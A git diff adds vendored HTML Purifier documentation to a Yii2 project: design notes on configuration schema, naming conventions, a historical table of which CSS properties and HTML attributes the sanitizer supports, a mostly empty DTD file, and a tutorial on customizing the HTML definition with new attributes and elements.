HTMLPurifier_Filter_ExtractStyleBlocks + +To indicate that if that class doesn't exist, and the user is attempting +to use the directive, we should fatally error out. The stub includes the core files, +and the user includes everything else. Any reflective things like new +$class would be required to tie in with the configuration. + +It would work very well with rarely used configuration options, but it +wouldn't be so good for "core" parts that can be disabled. In such cases +the core include file would need to be modified, and the only way +to properly do this is use the configuration object. Once again, our +ability to create cache keys saves the day again: we can create arbitrary +stub files for arbitrary configurations and include those. They could +even be the single file affairs. The only thing we'd need to include, +then, would be HTMLPurifier_Config! Then, the configuration object would +load the library. + + An aside... + ----------- + One questions, however, the wisdom of letting PHP files write other PHP + files. It seems like a recipe for disaster, or at least lots of headaches + in highly secured setups, where PHP does not have the ability to write + to its root. In such cases, we could use sticky bits or tell the user + to manually generate the file. + + The other troublesome bit is actually doing the calculations necessary. + For certain cases, it's simple (such as URIScheme), but for AttrDef + and HTMLModule the dependency trees are very complex in relation to + %HTML.Allowed and friends. I think that this idea should be shelved + and looked at a later, less insane date. + +An interesting dilemma presents itself when a configuration form is offered +to the user. Normally, the configuration object is not accessible without +editing PHP code; this facility changes thing. The sensible thing to do +is stipulate that all classes required by the directives you allow must +be included. + +Unit testing +------------ + +Setting up the parsing and translation into our existing format would not +be difficult to do. It might represent a good time for us to rethink our +tests for these facilities; as creative as they are, they are often hacky +and require public visibility for things that ought to be protected. +This is especially applicable for our DefinitionCache tests. + +Migration +--------- + +Because we are not *adding* anything essentially new, it should be trivial +to write a script to take our existing data and dump it into the new format. +Well, not trivial, but fairly easy to accomplish. Primary implementation +difficulties would probably involve formatting the file nicely. + +Backwards-compatibility +----------------------- + +I expect that the ConfigSchema methods should stick around for a little bit, +but display E_USER_NOTICE warnings that they are deprecated. This will +require documentation! + +New stuff +--------- + +VERSION: Version number directive was introduced +DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? +DEPRECATED-USE: If the directive was deprecated, what should the user use now? +REQUIRES: What classes does this configuration directive require, but are + not part of the HTML Purifier core? + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-naming.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-naming.html new file mode 100644 index 00000000..cea4b006 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-naming.html @@ -0,0 +1,83 @@ + + + + + + + +Naming Conventions - HTML Purifier + + + +

        Naming Conventions

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        The classes in this library follow a few naming conventions, which may +help you find the correct functionality more quickly. Here they are:

        + +
        + +
        All classes occupy the HTMLPurifier pseudo-namespace.
        +
        This means that all classes are prefixed with HTMLPurifier_. As such, all + names under HTMLPurifier_ are reserved. I recommend that you use the name + HTMLPurifierX_YourName_ClassName, especially if you want to take advantage + of HTMLPurifier_ConfigDef.
        + +
        All classes correspond to their path if library/ was in the include path
        +
        HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace + underscores with slashes and append .php and you'll have the location of + the class.
        + +
        Harness and Test are reserved class names for unit tests
        +
        The suffix Test indicates that the class is a subclass of UnitTestCase + (of the Simpletest library) and is testable. "Harness" indicates a subclass + of UnitTestCase that is not meant to be run but to be extended into + concrete test cases and contains custom test methods (i.e. assert*())
        + +
        Class names do not necessarily represent inheritance hierarchies
        +
        While we try to reflect inheritance in naming to some extent, it is not + guaranteed (for instance, none of the classes inherit from HTMLPurifier, + the base class). However, all class files have the require_once + declarations to whichever classes they are tightly coupled to.
        + +
        Strategy has a meaning different from the Gang of Four pattern
        +
        In Design Patterns, the Gang of Four describes a Strategy object as + encapsulating an algorithm so that they can be switched at run-time. While + our strategies are indeed algorithms, they are not meant to be substituted: + all must be present in order for proper functioning.
        + +
        Abbreviations are avoided
        +
        We try to avoid abbreviations as much as possible, but in some cases, + abbreviated version is more readable than the full version. Here, we + list common abbreviations: +
          +
        • Attr to Attributes (note that it is plural, i.e. $attr = array())
        • +
        • Def to Definition
        • +
        • $ret is the value to be returned in a function
        • +
        +
        + +
        Ambiguity concerning the definition of Def/Definition
        +
        While a definition normally defines the structure/acceptable values of + an entity, most of the definitions in this application also attempt + to validate and fix the value. I am unsure of a better name, as + "Validator" would exclude fixing the value, "Fixer" doesn't invoke + the proper image of "fixing" something, and "ValidatorFixer" is too long! + Some other suggestions were "Handler", "Reference", "Check", "Fix", + "Repair" and "Heal".
        + +
        Transform not Transformer
        +
        Transform is both a noun and a verb, and thus we define a "Transform" as + something that "transforms," leaving "Transformer" (which sounds like an + electrical device/robot toy).
        + +
        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-optimization.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-optimization.html new file mode 100644 index 00000000..78f56581 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-optimization.html @@ -0,0 +1,33 @@ + + + + + + + +Optimization - HTML Purifier + + + +

        Optimization

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        Here are some possible optimization techniques we can apply to code sections if +they turn out to be slow. Be sure not to prematurely optimize: if you get +that itch, put it here!

        + +
          +
        • Make Tokens Flyweights (may prove problematic, probably not worth it)
        • +
        • Rewrite regexps into PHP code
        • +
        • Batch regexp validation (do as many per function call as possible)
        • +
        • Parallelize strategies
        • +
        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-progress.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-progress.html new file mode 100644 index 00000000..105896ed --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dev-progress.html @@ -0,0 +1,309 @@ + + + + + + + +Implementation Progress - HTML Purifier + + + + + +

        Implementation Progress

        + +
        Filed under Development
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        + Warning: This table is kept for historical purposes and + is not being actively updated. +

        + +

        Key

        + + + + + + + + +
        Implemented
        Partially implemented
        Not priority to implement
        Dangerous attribute/property
        Present in CSS1
        Feature, requires extra work
        + +

        CSS

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        NameNotes
        Standard
        background-colorCOMPOSITE(<color>, transparent)
        backgroundSHORTHAND, currently alias for background-color
        borderSHORTHAND, MULTIPLE
        border-colorMULTIPLE
        border-styleMULTIPLE
        border-widthMULTIPLE
        border-*SHORTHAND
        border-*-colorCOMPOSITE(<color>, transparent)
        border-*-styleENUM(none, hidden, dotted, dashed, + solid, double, groove, ridge, inset, outset)
        border-*-widthCOMPOSITE(<length>, thin, medium, thick)
        clearENUM(none, left, right, both)
        color<color>
        floatENUM(left, right, none), May require layout + precautions with clear
        fontSHORTHAND
        font-familyCSS validator may complain if fallback font + family not specified
        font-sizeCOMPOSITE(<absolute-size>, + <relative-size>, <length>, <percentage>)
        font-styleENUM(normal, italic, oblique)
        font-variantENUM(normal, small-caps)
        font-weightENUM(normal, bold, bolder, lighter, + 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for + in-between integers
        letter-spacingCOMPOSITE(<length>, normal)
        line-heightCOMPOSITE(<number>, + <length>, <percentage>, normal)
        list-style-positionENUM(inside, outside), + Strange behavior in browsers
        list-style-typeENUM(...), + Well-supported values are: disc, circle, square, + decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also + CSS 3. Mostly IE lack of support.
        list-styleSHORTHAND
        marginMULTIPLE
        margin-*COMPOSITE(<length>, + <percentage>, auto)
        paddingMULTIPLE
        padding-*COMPOSITE(<length>(positive), + <percentage>(positive))
        text-alignENUM(left, right, + center, justify)
        text-decorationNo blink (argh my eyes), not + enum, can be combined (composite sorta): underline, overline, + line-through
        text-indentCOMPOSITE(<length>, + <percentage>)
        text-transformENUM(capitalize, uppercase, + lowercase, none)
        widthCOMPOSITE(<length>, + <percentage>, auto), Interesting
        word-spacingCOMPOSITE(<length>, auto), + IE 5 no support
        Table
        border-collapseENUM(collapse, seperate)
        border-spaceMULTIPLE
        caption-sideENUM(top, bottom)
        empty-cellsENUM(show, hide), No IE support makes this useless, + possible fix with &nbsp;? Unknown release milestone.
        table-layoutENUM(auto, fixed)
        vertical-alignCOMPOSITE(ENUM(baseline, sub, + super, top, text-top, middle, bottom, text-bottom), <percentage>, + <length>) Also applies to others with explicit height
        Absolute positioning, unknown release milestone
        bottomDangerous, must be non-negative to even be considered, + but it's still possible to arbitrarily position by running over.
        left
        right
        top
        clip-
        positionENUM(static, relative, absolute, fixed) + relative not absolute?
        z-indexDangerous
        Unknown
        background-imageDangerous
        background-attachmentENUM(scroll, fixed), + Depends on background-image
        background-positionDepends on background-image
        cursorDangerous but fluffy
        displayENUM(...), Dangerous but interesting; + will not implement list-item, run-in (Opera only) or table (no IE); + inline-block has incomplete IE6 support and requires -moz-inline-box + for Mozilla. Unknown target milestone.
        heightInteresting, why use it? Unknown target milestone.
        list-style-imageDangerous?
        max-heightNo IE 5/6
        min-height
        max-width
        min-width
        orphansNo IE support
        widowsNo IE support
        overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
        page-break-afterENUM(auto, always, avoid, left, right), + IE 5.5/6 and Opera. Unknown target milestone.
        page-break-beforeENUM(auto, always, avoid, left, right), + Mostly supported. Unknown target milestone.
        page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
        quotesMay be dropped from CSS2, fairly useless for inline context
        visibilityENUM(visible, hidden, collapse), + Dangerous
        white-spaceENUM(normal, pre, nowrap, pre-wrap, + pre-line), Spotty implementation: + pre (no IE 5/6), nowrap (no IE 5, supported), + pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
        Aural
        azimuth-
        cue-
        cue-after-
        cue-before-
        elevation-
        pause-after-
        pause-before-
        pause-
        pitch-range-
        pitch-
        play-during-
        richness-
        speak-headerTable related
        speak-numeral-
        speak-punctuation-
        speak-
        speech-rate-
        stress-
        voice-family-
        volume-
        Will not implement
        contentNot applicable for inline styles
        counter-incrementNeeds content, Opera only
        counter-resetNeeds content, Opera only
        directionNo support
        outline-colorIE Mac and Opera on outside, +Mozilla on inside and needs -moz-outline, no IE support.
        outline-style
        outline-width
        outline
        unicode-bidiNo support
        + +

        Interesting Attributes

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        AttributeTagsNotes
        CSS
        styleAllParser is reasonably functional. Status here doesn't count individual properties.
        Questionable
        accesskeyAMay interfere with main interface
        tabindexAMay interfere with main interface
        targetAConfig enabled, only useful for frame layouts, disallowed in strict
        Miscellaneous
        datetimeDEL, INSNo visible effect, ISO format
        relALargely user-defined: nofollow, tag (see microformats)
        revALargely user-defined: vote-*
        axisTD, THW3C only: No browser implementation
        charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
        headersTD, THW3C only: No browser implementation
        scopeTD, THW3C only: No browser implementation
        URI
        citeBLOCKQUOTE, QFor attribution
        DEL, INSLink to explanation why it changed
        hrefA-
        longdescIMG-
        srcIMGRequired
        Transform
        alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
        IMGSee specimens/html-align-to-css.html
        TABLE
        HR
        H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
        altIMGRequired, insert image filename if src is present or default invalid image text
        bgcolorTABLESuperset style 'background-color'
        TRSuperset style 'background-color'
        TD, THSuperset style 'background-color'
        borderIMGEquivalent style border:[number]px solid
        clearBRNear-equiv style 'clear', transform 'all' into 'both'
        compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
        dirBDORequired, insert ltr (or configuration value) if none
        heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
        hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
        lang*Copy value to xml:lang
        nameIMGTurn into ID
        ATurn into ID
        noshadeHRBoolean, style 'border-style:solid;'
        nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
        sizeHRNear-equiv 'height', needs px suffix if original was pixels
        srcIMGRequired, insert blank or default img if not set
        startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
        typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
        OL
        UL
        valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
        vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
        widthHRNear-equiv style 'width', needs px suffix if original was pixels
        TD, TH
        + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd new file mode 100644 index 00000000..628f27ac --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd @@ -0,0 +1,1201 @@ + + + + + +%HTMLlat1; + + +%HTMLsymbol; + + +%HTMLspecial; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-customize.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-customize.html new file mode 100644 index 00000000..7e1ffa26 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/docs/enduser-customize.html @@ -0,0 +1,850 @@ + + + + + + + +Customize - HTML Purifier + + + +

        Customize!

        +
        HTML Purifier is a Swiss-Army Knife
        + +
        Filed under End-User
        +
        Return to the index.
        +
        HTML Purifier End-User Documentation
        + +

        + HTML Purifier has this quirk where if you try to allow certain elements or + attributes, HTML Purifier will tell you that it's not supported, and that + you should go to the forums to find out how to implement it. Well, this + document is how to implement elements and attributes which HTML Purifier + doesn't support out of the box. +

        + +

        Is it necessary?

        + +

        + Before we even write any code, it is paramount to consider whether or + not the code we're writing is necessary or not. HTML Purifier, by default, + contains a large set of elements and attributes: large enough so that + any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) + that can be safely used by the general public is implemented. +

        + +

        + So what needs to be implemented? (Feel free to skip this section if + you know what you want). +

        + +

        XHTML 1.0

        + +

        + All of the modules listed below are based off of the + modularization of + XHTML, which, while technically for XHTML 1.1, is quite a useful + resource. +

        + +
          +
        • Structure
        • +
        • Frames
        • +
        • Applets (deprecated)
        • +
        • Forms
        • +
        • Image maps
        • +
        • Objects
        • +
        • Frames
        • +
        • Events
        • +
        • Meta-information
        • +
        • Style sheets
        • +
        • Link (not hypertext)
        • +
        • Base
        • +
        • Name
        • +
        + +

        + If you don't recognize it, you probably don't need it. But the curious + can look all of these modules up in the above-mentioned document. Note + that inline scripting comes packaged with HTML Purifier (more on this + later). +

        + +

        XHTML 1.1

        + +

        + As of HTMLPurifier 2.1.0, we have implemented the + Ruby module, + which defines a set of tags + for publishing short annotations for text, used mostly in Japanese + and Chinese school texts, but applicable for positioning any text (not + limited to translations) above or below other corresponding text. +

        + +

        HTML 5

        + +

        + HTML 5 + is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed + in the wrong direction. It too is a working draft, and may change + drastically before publication, but it should be noted that the + canvas tag has been implemented by many browser vendors. +

        + +

        Proprietary

        + +

        + There are a number of proprietary tags still in the wild. Many of them + have been documented in ref-proprietary-tags.txt, + but there is currently no implementation for any of them. +

        + +

        Extensions

        + +

        + There are also a number of other XML languages out there that can + be embedded in HTML documents: two of the most popular are MathML and + SVG, and I frequently get requests to implement these. But they are + expansive, comprehensive specifications, and it would take far too long + to implement them correctly (most systems I've seen go as far + as whitelisting tags and no further; come on, what about nesting!) +

        + +

        + Word of warning: HTML Purifier is currently not namespace + aware. +

        + +

        Giving back

        + +

        + As you may imagine from the details above (don't be abashed if you didn't + read it all: a glance over would have done), there's quite a bit that + HTML Purifier doesn't implement. Recent architectural changes have + allowed HTML Purifier to implement elements and attributes that are not + safe! Don't worry, they won't be activated unless you set %HTML.Trusted + to true, but they certainly help out users who need to put, say, forms + on their page and don't want to go through the trouble of reading this + and implementing it themself. +

        + +

        + So any of the above that you implement for your own application could + help out some other poor sap on the other side of the globe. Help us + out, and send back code so that it can be hammered into a module and + released with the core. Any code would be greatly appreciated! +

        + +

        And now...

        + +

        + Enough philosophical talk, time for some code: +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +if ($def = $config->maybeGetRawHTMLDefinition()) {
        +    // our code will go here
        +}
        + +

        + Assuming that HTML Purifier has already been properly loaded (hint: + include HTMLPurifier.auto.php), this code will set up + the environment that you need to start customizing the HTML definition. + What's going on? +

        + +
          +
        • + The first three lines are regular configuration code: +
            +
          • + %HTML.DefinitionID is set to a unique identifier for your + custom HTML definition. This prevents it from clobbering + other custom definitions on the same installation. +
          • +
          • + %HTML.DefinitionRev is a revision integer of your HTML + definition. Because HTML definitions are cached, you'll need + to increment this whenever you make a change in order to flush + the cache. +
          • +
          +
        • +
        • + The fourth line retrieves a raw HTMLPurifier_HTMLDefinition + object that we will be tweaking. Interestingly enough, we have + placed it in an if block: this is because + maybeGetRawHTMLDefinition, as its name suggests, may + return a NULL, in which case we should skip doing any + initialization. This, in fact, will correspond to when our fully + customized object is already in the cache. +
        • +
        + +

        Turn off caching

        + +

        + To make development easier, we're going to temporarily turn off + definition caching: +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
        +$def = $config->getHTMLDefinition(true);
        + +

        + A few things should be mentioned about the caching mechanism before + we move on. For performance reasons, HTML Purifier caches generated + HTMLPurifier_Definition objects in serialized files + stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. + A lot of processing is done in order to create these objects, so it + makes little sense to repeat the same processing over and over again + whenever HTML Purifier is called. +

        + +

        + In order to identify a cache entry, HTML Purifier uses three variables: + the library's version number, the value of %HTML.DefinitionRev and + a serial of relevant configuration. Whenever any of these changes, + a new HTML definition is generated. Notice that there is no way + for the definition object to track changes to customizations: here, it + is up to you to supply appropriate information to DefinitionID and + DefinitionRev. +

        + +

        Add an attribute

        + +

        + For this example, we're going to implement the target attribute found + on a elements. To implement an attribute, we have to + ask a few questions: +

        + +
          +
        1. What element is it found on?
        2. +
        3. What is its name?
        4. +
        5. Is it required or optional?
        6. +
        7. What are valid values for it?
        8. +
        + +

        + The first three are easy: the element is a, the attribute + is target, and it is not a required attribute. (If it + was required, we'd need to append an asterisk to the attribute name, + you'll see an example of this in the addElement() example). +

        + +

        + The last question is a little trickier. + Lets allow the special values: _blank, _self, _target and _top. + The form of this is called an enumeration, a list of + valid values, although only one can be used at a time. To translate + this into code form, we write: +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +$config->set('Cache.DefinitionImpl', null); // remove this later!
        +$def = $config->getHTMLDefinition(true);
        +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
        + +

        + The Enum#_blank,_self,_target,_top does all the magic. + The string is split into two parts, separated by a hash mark (#): +

        + +
          +
        1. The first part is the name of what we call an AttrDef
        2. +
        3. The second part is the parameter of the above-mentioned AttrDef
        4. +
        + +

        + If that sounds vague and generic, it's because it is! HTML Purifier defines + an assortment of different attribute types one can use, and each of these + has their own specialized parameter format. Here are some of the more useful + ones: +

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        TypeFormatDescription
        Enum[s:]value1,value2,... + Attribute with a number of valid values, one of which may be used. When + s: is present, the enumeration is case sensitive. +
        Boolattribute_name + Boolean attribute, with only one valid value: the name + of the attribute. +
        CDATA + Attribute of arbitrary text. Can also be referred to as Text + (the specification makes a semantic distinction between the two). +
        ID + Attribute that specifies a unique ID +
        Pixels + Attribute that specifies an integer pixel length +
        Length + Attribute that specifies a pixel or percentage length +
        NMTOKENS + Attribute that specifies a number of name tokens, example: the + class attribute +
        URI + Attribute that specifies a URI, example: the href + attribute +
        Number + Attribute that specifies an positive integer number +
        + +

        + For a complete list, consult + library/HTMLPurifier/AttrTypes.php; + more information on attributes that accept parameters can be found on their + respective includes in + library/HTMLPurifier/AttrDef. +

        + +

        + Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't + sweat: you can also use a fully instantiated object as the value. The + equivalent, verbose form of the above example is: +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +$config->set('Cache.DefinitionImpl', null); // remove this later!
        +$def = $config->getHTMLDefinition(true);
        +$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
        +  array('_blank','_self','_target','_top')
        +));
        + +

        + Trust me, you'll learn to love the shorthand. +

        + +

        Add an element

        + +

        + Adding attributes is really small-fry stuff, though, and it was possible + to add them (albeit a bit more wordy) prior to 2.0. The real gem of + the Advanced API is adding elements. There are five questions to + ask when adding a new element: +

        + +
          +
        1. What is the element's name?
        2. +
        3. What content set does this element belong to?
        4. +
        5. What are the allowed children of this element?
        6. +
        7. What attributes does the element allow that are general?
        8. +
        9. What attributes does the element allow that are specific to this element?
        10. +
        + +

        + It's a mouthful, and you'll be slightly lost if your not familiar with + the HTML specification, so let's explain them step by step. +

        + +

        Content set

        + +

        + The HTML specification defines two major content sets: Inline + and Block. Each of these + content sets contain a list of elements: Inline contains things like + span and b while Block contains things like + div and blockquote. +

        + +

        + These content sets amount to a macro mechanism for HTML definition. Most + elements in HTML are organized into one of these two sets, and most + elements in HTML allow elements from one of these sets. If we had + to write each element verbatim into each other element's allowed + children, we would have ridiculously large lists; instead we use + content sets to compactify the declaration. +

        + +

        + Practically speaking, there are several useful values you can use here: +

        + + + + + + + + + + + + + + + + + + + + + + +
        Content setDescription
        InlineCharacter level elements, text
        BlockBlock-like elements, like paragraphs and lists
        false + Any element that doesn't fit into the mold, for example li + or tr +
        + +

        + By specifying a valid value here, all other elements that use that + content set will also allow your element, without you having to do + anything. If you specify false, you'll have to register + your element manually. +

        + +

        Allowed children

        + +

        + Allowed children defines the elements that this element can contain. + The allowed values may range from none to a complex regexp depending on + your element. +

        + +

        + If you've ever taken a look at the HTML DTD's before, you may have + noticed declarations like this: +

        + +
        <!ELEMENT LI - O (%flow;)*             -- list item -->
        + +

        + The (%flow;)* indicates the allowed children of the + li tag: li allows any number of flow + elements as its children. (The - O allows the closing tag to be + omitted, though in XML this is not allowed.) In HTML Purifier, + we'd write it like Flow (here's where the content sets + we were discussing earlier come into play). There are three shorthand + content models you can specify: +

        + + + + + + + + + + + + + + + + + + + + + + +
        Content modelDescription
        EmptyNo children allowed, like br or hr
        InlineAny number of inline elements and text, like span
        FlowAny number of inline elements, block elements and text, like div
        + +

        + This covers 90% of all the cases out there, but what about elements that + break the mold like ul? This guy requires at least one + child, and the only valid children for it are li. The + content model is: Required: li. There are two parts: the + first type determines what ChildDef will be used to validate + content models. The most common values are: +

        + + + + + + + + + + + + + + + + + + + + + + +
        TypeDescription
        RequiredChildren must be one or more of the valid elements
        OptionalChildren can be any number of the valid elements
        CustomChildren must follow the DTD-style regex
        + +

        + You can also implement your own ChildDef: this was done + for a few special cases in HTML Purifier such as Chameleon + (for ins and del), StrictBlockquote + and Table. +

        + +

        + The second part specifies either valid elements or a regular expression. + Valid elements are separated with horizontal bars (|), i.e. + "a | b | c". Use #PCDATA to represent plain text. + Regular expressions are based off of DTD's style: +

        + +
          +
        • Parentheses () are used for grouping
        • +
        • Commas (,) separate elements that should come one after another
        • +
        • Horizontal bars (|) indicate one or the other elements should be used
        • +
        • Plus signs (+) are used for a one or more match
        • +
        • Asterisks (*) are used for a zero or more match
        • +
        • Question marks (?) are used for a zero or one match
        • +
        + +

        + For example, "a, b?, (c | d), e+, f*" means "In this order, + one a element, at most one b element, + one c or d element (but not both), one or more + e elements, and any number of f elements." + Regex veterans should be able to jump right in, and those not so savvy + can always copy-paste W3C's content model definitions into HTML Purifier + and hope for the best. +

        + +

        + A word of warning: while the regex format is extremely flexible on + the developer's side, it is + quite unforgiving on the user's side. If the user input does not exactly + match the specification, the entire contents of the element will + be nuked. This is why there is are specific content model types like + Optional and Required: while they could be implemented as Custom: + (valid | elements)*, the custom classes contain special recovery + measures that make sure as much of the user's original content gets + through. HTML Purifier's core, as a rule, does not use Custom. +

        + +

        + One final note: you can also use Content Sets inside your valid elements + lists or regular expressions. In fact, the three shorthand content models + mentioned above are just that: abbreviations: +

        + + + + + + + + + + + + + + + + + + +
        Content modelImplementation
        InlineOptional: Inline | #PCDATA
        FlowOptional: Flow | #PCDATA
        + +

        + When the definition is compiled, Inline will be replaced with a + horizontal-bar separated list of inline elements. Also, notice that + it does not contain text: you have to specify that yourself. +

        + +

        Common attributes

        + +

        + Congratulations: you have just gotten over the proverbial hump (Allowed + children). Common attributes is much simpler, and boils down to + one question: does your element have the id, style, + class, title and lang attributes? + If so, you'll want to specify the Common attribute collection, + which contains these five attributes that are found on almost every + HTML element in the specification. +

        + +

        + There are a few more collections, but they're really edge cases: +

        + + + + + + + + + + + + + + + + + + +
        CollectionAttributes
        I18Nlang, possibly xml:lang
        Corestyle, class, id and title
        + +

        + Common is a combination of the above-mentioned collections. +

        + +

        + Readers familiar with the modularization may have noticed that the Core + attribute collection differs from that specified by the abstract + modules of the XHTML Modularization 1.1. We believe this section + to be in error, as br permits the use of the style + attribute even though it uses the Core collection, and + the DTD and XML Schemas supplied by W3C support our interpretation. +

        + +

        Attributes

        + +

        + If you didn't read the earlier section on + adding attributes, read it now. The last parameter is simply + an array of attribute names to attribute implementations, in the exact + same format as addAttribute(). +

        + +

        Putting it all together

        + +

        + We're going to implement form. Before we embark, lets + grab a reference implementation from over at the + transitional DTD: +

        + +
        <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
        +<!ATTLIST FORM
        +  %attrs;                              -- %coreattrs, %i18n, %events --
        +  action      %URI;          #REQUIRED -- server-side form handler --
        +  method      (GET|POST)     GET       -- HTTP method used to submit the form--
        +  enctype     %ContentType;  "application/x-www-form-urlencoded"
        +  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
        +  name        CDATA          #IMPLIED  -- name of form for scripting --
        +  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
        +  onreset     %Script;       #IMPLIED  -- the form was reset --
        +  target      %FrameTarget;  #IMPLIED  -- render in this frame --
        +  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
        +  >
        + +

        + Juicy! With just this, we can answer four of our five questions: +

        + +
          +
        1. What is the element's name? form
        2. +
        3. What content set does this element belong to? Block + (this needs a little sleuthing, I find the easiest way is to search + the DTD for FORM and determine which set it is in.)
        4. +
        5. What are the allowed children of this element? One + or more flow elements, but no nested forms
        6. +
        7. What attributes does the element allow that are general? Common
        8. +
        9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; + we're going to do the vital ones: action, method and name
        10. +
        + +

        + Time for some code: +

        + +
        $config = HTMLPurifier_Config::createDefault();
        +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
        +$config->set('HTML.DefinitionRev', 1);
        +$config->set('Cache.DefinitionImpl', null); // remove this later!
        +$def = $config->getHTMLDefinition(true);
        +$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
        +  array('_blank','_self','_target','_top')
        +));
        +$form = $def->addElement(
        +  'form',   // name
        +  'Block',  // content set
        +  'Flow', // allowed children
        +  'Common', // attribute collection
        +  array( // attributes
        +    'action*' => 'URI',
        +    'method' => 'Enum#get|post',
        +    'name' => 'ID'
        +  )
        +);
        +$form->excludes = array('form' => true);
        + +

        + Each of the parameters corresponds to one of the questions we asked. + Notice that we added an asterisk to the end of the action + attribute to indicate that it is required. If someone specifies a + form without that attribute, the tag will be axed. + Also, the extra line at the end is a special extra declaration that + prevents forms from being nested within each other. +

        + +

        + And that's all there is to it! Implementing the rest of the form + module is left as an exercise to the user; to see more examples + check the library/HTMLPurifier/HTMLModule/ directory + in your local HTML Purifier installation. +

        + +

        And beyond...

        + +

